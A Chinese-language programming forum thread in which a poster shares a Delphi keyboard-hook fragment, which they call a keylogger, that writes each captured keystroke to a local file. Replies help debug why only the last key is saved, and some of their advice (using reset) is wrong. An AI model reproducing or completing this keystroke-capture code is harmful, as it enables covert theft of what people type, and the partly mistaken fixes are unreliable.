function hookproc(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
 var s:string;
 hookfile:textfile;
 begin
 
  if  (peventmsg(lparam)^.message=wm_keydown) then
   begin
    s:=format('down:%5d %5d',[peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh])+
     form1.keyhookresult(peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh);
     //form1.ListBox1.Items.add(s);
     if length(s)>0 then
   begin
    assignfile(hookfile,'G:\hook.txt');
    rewrite(hookfile);
    write(hookfile,s);
    closefile(hookfile);
    end;
   end;
这是一个键盘记录,但是我在记事本里面得到的只有最后一个按键的信息!
如果我用用form1.ListBox1.Items.add(s);就可以得到没一个一个按键的信息!
着是为什么呢!请大家帮忙解决!

解决方案 »

  1.   

    rewrite把文件原来的内容清除了
    所以每次只把这次的内容写入了。
      

  2.   

    rewrite(hookfile);的问题
    改为
    if fileexists('g:\hook.txt') then
      reset(hookfile)
    else
     rewrite(hookfile);
      

  3.   


       begin
        assignfile(hookfile,'G:\hook.txt');
        reset(hookfile);
        write(hookfile,s);
        closefile(hookfile);
        end;
      

  4.   

    rewrite(hookfile);
        write(hookfile,s);
    可以执行只记录最后的
        reset(hookfile);
        write(hookfile,s);
    就会出现输入/输出05错误啊!
    狂晕!
      

  5.   

    怎么没看懂,楼主能否把源码放上?不是说钩子要做到DLL里才行吗?可楼主的是做在自己的应用程序里的。怎么回事呢?
      

  6.   

    其实键盘钩子可以不做在dll里的,好想只有键盘可以吧!
    呵呵!